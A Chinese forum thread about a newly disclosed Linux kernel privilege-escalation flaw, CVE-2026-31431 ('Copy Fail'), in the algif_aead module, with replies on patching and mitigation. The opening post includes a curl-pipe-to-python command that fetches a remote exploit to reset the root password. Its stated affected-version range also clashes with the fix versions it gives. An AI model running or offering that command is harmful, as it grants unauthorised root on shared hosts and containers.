今日公开披露了一个 Linux 内核高危漏洞，编号为 CVE-2026-31431，命名为"Copy Fail"，目前评分为 7.8。漏洞根植于内核加密子系统的 algif_aead 模块，允许任何本地普通用户以确定性、无竞争的方式在任意可读文件的页缓存中写入受控的 4 字节数据，并借此将自身权限提升至 root，可以实现本地提权与容器逃逸。
该漏洞影响 4.14 至 6.9 版本的大多数内核，目前主流发行版（包括但不限于 Ubuntu 24.04 LTS、Amazon Linux 2023 等）都存在漏洞。
值得注意的是，Docker 使用共享内核，因此该漏洞可用于逃逸，对宿主机造成严重威胁。
修改 root 密码的代码：
curl https://copy.fail/exp | python3
普通用户执行后，无需密码即可通过 su 切换至 root 用户。
请务必升级至 linux 6.19.12+ 或 linux-lts 6.18.22+ 以修复该漏洞
核弹级漏洞，很危险啊，赶紧升级
好在攻击向量不是N，否则就9.0了
详细信息参见 https://copy.fail/
感谢提供宝贵情报
感谢提供宝贵情报！
那么爽
这么恐怖的漏洞
可以测试一下
细思恐极
对serv00这种虚拟主机来说影响很大
模块没开就没事吧
感谢分享，赶紧去升级
我操，debian没事就行 
内核高好像不起作用
OSError: [Errno 97] Address family not supported by protocol
Linux ssh1 6.12.49-
感谢楼主提供情报 这漏洞也不小啊 只有去升级吗
理论上linux 6.19.12+ 或 linux-lts 6.18.22+才没有漏洞，但实测部分处于4.14~6.19之间的内核也存在无法触发的可能。另外，SELinux可能有效阻止PoC执行部分风险操作
内核级别的问题通常只能升级内核，当然android有google的安全补丁除外。虽然SELinux理论可以预防，但漏洞依然存在也就依然是威胁
感谢楼主解析
debian有事，是linux内的漏洞